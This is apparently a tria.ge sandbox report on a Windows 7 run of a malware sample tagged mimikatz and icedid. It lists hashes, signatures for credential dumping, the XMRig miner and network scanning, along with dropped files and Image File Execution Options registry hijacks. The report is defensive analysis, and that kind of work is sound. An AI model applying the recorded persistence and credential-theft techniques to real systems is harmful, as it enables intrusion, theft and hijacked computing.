Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
03/02/2025, 18:44
Behavioral task
behavioral1
Sample
2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20250129-en
General
-
Target
2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe
-
Size
10.5MB
-
MD5
951c59c847da0348b8abac8d459629e3
-
SHA1
7603f8dd828f14a507d9b2a2680754012bc37bd9
-
SHA256
fcce551ab754277541669437b1454886afb23715d93486599a0f29e16b06de8b
-
SHA512
0a307af11fd256faab0a104254e2294e38c5e50e78b6fbd2413af50a6dc77cb3c82ea2c95170cdd001a036eb729276ae57477450ae095b990fe4b6645b9ddf80
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaaC:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr8
Malware Config
Signatures
-
Disables service(s) 3 TTPs
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Mimikatz family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2788 created 300 2788 huitpgn.exe 17 -
Xmrig family
-
Contacts a large (28212) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/2576-193-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-203-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-230-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-241-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-242-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-243-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-256-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-506-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-508-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-511-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-766-0x000000013F240000-0x000000013F360000-memory.dmp xmrig behavioral1/memory/2576-767-0x000000013F240000-0x000000013F360000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
resource yara_rule behavioral1/memory/1484-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/memory/1484-4-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/files/0x00070000000186f1-5.dat mimikatz behavioral1/memory/2664-9-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/memory/2304-135-0x00000000010B0000-0x000000000119E000-memory.dmp mimikatz behavioral1/memory/2356-138-0x000000013FF80000-0x000000014006E000-memory.dmp mimikatz behavioral1/memory/2788-162-0x0000000002870000-0x0000000002990000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts huitpgn.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts huitpgn.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe huitpgn.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1388 netsh.exe 2484 netsh.exe -
Executes dropped EXE 19 IoCs
pid Process 2664 huitpgn.exe 2788 huitpgn.exe 3032 wpcap.exe 2580 eejijdjqa.exe 2356 vfshost.exe 1296 quqjwwsff.exe 1924 xohudmc.exe 2576 sgicvp.exe 2620 huzbeq.exe 2304 quqjwwsff.exe 1956 quqjwwsff.exe 2856 quqjwwsff.exe 2324 quqjwwsff.exe 1392 quqjwwsff.exe 2908 quqjwwsff.exe 2764 quqjwwsff.exe 2288 huitpgn.exe 640 lbtjpqfsw.exe 2928 huitpgn.exe -
Loads dropped DLL 25 IoCs
pid Process 2044 cmd.exe 2044 cmd.exe 1948 cmd.exe 3032 wpcap.exe 3032 wpcap.exe 3032 wpcap.exe 3032 wpcap.exe 3032 wpcap.exe 708 cmd.exe 2580 eejijdjqa.exe 2580 eejijdjqa.exe 2304 cmd.exe 2304 cmd.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2460 cmd.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\huzbeq.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 huitpgn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F huitpgn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat huitpgn.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 huitpgn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F huitpgn.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\huzbeq.exe xohudmc.exe -
resource yara_rule behavioral1/files/0x000500000001a4d3-132.dat upx behavioral1/memory/2356-136-0x000000013FF80000-0x000000014006E000-memory.dmp upx behavioral1/memory/2356-138-0x000000013FF80000-0x000000014006E000-memory.dmp upx behavioral1/files/0x000500000001a4e9-140.dat upx behavioral1/memory/1296-144-0x000000013FDE0000-0x000000013FE3B000-memory.dmp upx behavioral1/files/0x000500000001a4e3-160.dat upx behavioral1/memory/2576-163-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/1296-172-0x000000013FDE0000-0x000000013FE3B000-memory.dmp upx behavioral1/memory/2304-179-0x000000013FFE0000-0x000000014003B000-memory.dmp upx behavioral1/memory/2304-182-0x000000013FFE0000-0x000000014003B000-memory.dmp upx behavioral1/memory/1956-188-0x000000013F090000-0x000000013F0EB000-memory.dmp upx behavioral1/memory/1956-190-0x000000013F090000-0x000000013F0EB000-memory.dmp upx behavioral1/memory/2576-193-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2856-199-0x000000013FB40000-0x000000013FB9B000-memory.dmp upx behavioral1/memory/2788-198-0x0000000001970000-0x00000000019CB000-memory.dmp upx behavioral1/memory/2788-196-0x0000000001970000-0x00000000019CB000-memory.dmp upx behavioral1/memory/2856-201-0x000000013FB40000-0x000000013FB9B000-memory.dmp upx behavioral1/memory/2576-203-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2324-207-0x000000013FBE0000-0x000000013FC3B000-memory.dmp upx behavioral1/memory/2324-210-0x000000013FBE0000-0x000000013FC3B000-memory.dmp upx behavioral1/memory/1392-216-0x000000013FA10000-0x000000013FA6B000-memory.dmp upx behavioral1/memory/1392-218-0x000000013FA10000-0x000000013FA6B000-memory.dmp upx behavioral1/memory/2908-224-0x000000013F7B0000-0x000000013F80B000-memory.dmp upx behavioral1/memory/2908-226-0x000000013F7B0000-0x000000013F80B000-memory.dmp upx behavioral1/memory/2764-233-0x000000013F350000-0x000000013F3AB000-memory.dmp upx behavioral1/memory/2576-230-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2764-235-0x000000013F350000-0x000000013F3AB000-memory.dmp upx behavioral1/memory/2576-241-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-242-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-243-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-256-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-506-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-508-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-511-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-766-0x000000013F240000-0x000000013F360000-memory.dmp upx behavioral1/memory/2576-767-0x000000013F240000-0x000000013F360000-memory.dmp upx -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File opened for modification C:\Windows\tusfgtaa\svschost.xml huitpgn.exe File created C:\Windows\cjesejeiu\Corporate\mimilib.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\schoedcl.exe huitpgn.exe File created C:\Windows\tusfgtaa\schoedcl.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\crli-0.dll huitpgn.exe File created C:\Windows\tusfgtaa\svschost.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\schoedcl.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\Shellcode.ini huitpgn.exe File created C:\Windows\cjesejeiu\Corporate\vfshost.exe huitpgn.exe File opened for modification C:\Windows\cjesejeiu\Corporate\log.txt cmd.exe File created C:\Windows\cjesejeiu\saqtluszq\ip.txt huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\trfo-2.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\svschost.exe huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\vimpcsvc.xml huitpgn.exe File opened for modification C:\Windows\tusfgtaa\schoedcl.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\libxml2.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\xdvl-0.dll huitpgn.exe File opened for modification C:\Windows\tusfgtaa\docmicfg.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\AppCapture32.dll huitpgn.exe File created C:\Windows\cjesejeiu\saqtluszq\wpcap.exe huitpgn.exe File created C:\Windows\cjesejeiu\saqtluszq\lbtjpqfsw.exe huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\spoolsrv.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\spoolsrv.xml huitpgn.exe File created C:\Windows\tusfgtaa\vimpcsvc.xml huitpgn.exe File created C:\Windows\cjesejeiu\upbdrjv\swrpwe.exe huitpgn.exe File created C:\Windows\cjesejeiu\saqtluszq\eejijdjqa.exe huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\svschost.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\docmicfg.xml huitpgn.exe File opened for modification C:\Windows\tusfgtaa\vimpcsvc.xml huitpgn.exe File opened for modification C:\Windows\tusfgtaa\huitpgn.exe 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe File created C:\Windows\cjesejeiu\saqtluszq\wpcap.dll huitpgn.exe File created C:\Windows\tusfgtaa\docmicfg.xml huitpgn.exe File opened for modification C:\Windows\tusfgtaa\spoolsrv.xml huitpgn.exe File created C:\Windows\cjesejeiu\saqtluszq\scan.bat huitpgn.exe File created C:\Windows\tusfgtaa\huitpgn.exe 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\tibe-2.dll huitpgn.exe File created C:\Windows\cjesejeiu\Corporate\mimidrv.sys huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\exma-1.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\tucl-1.dll huitpgn.exe File opened for modification C:\Windows\cjesejeiu\saqtluszq\Result.txt lbtjpqfsw.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\cnli-1.dll huitpgn.exe File created C:\Windows\tusfgtaa\spoolsrv.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\vimpcsvc.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\docmicfg.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\AppCapture64.dll huitpgn.exe File created C:\Windows\ime\huitpgn.exe huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\trch-1.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\ucl.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\ssleay32.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\zlib1.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\vimpcsvc.exe huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\docmicfg.exe huitpgn.exe File created C:\Windows\cjesejeiu\saqtluszq\Packet.dll huitpgn.exe File opened for modification C:\Windows\cjesejeiu\saqtluszq\Packet.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\posh-0.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\spoolsrv.exe huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\svschost.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\schoedcl.xml huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\coli-0.dll huitpgn.exe File created C:\Windows\cjesejeiu\UnattendGC\specials\libeay32.dll huitpgn.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 960 sc.exe 1508 sc.exe 620 sc.exe 928 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened 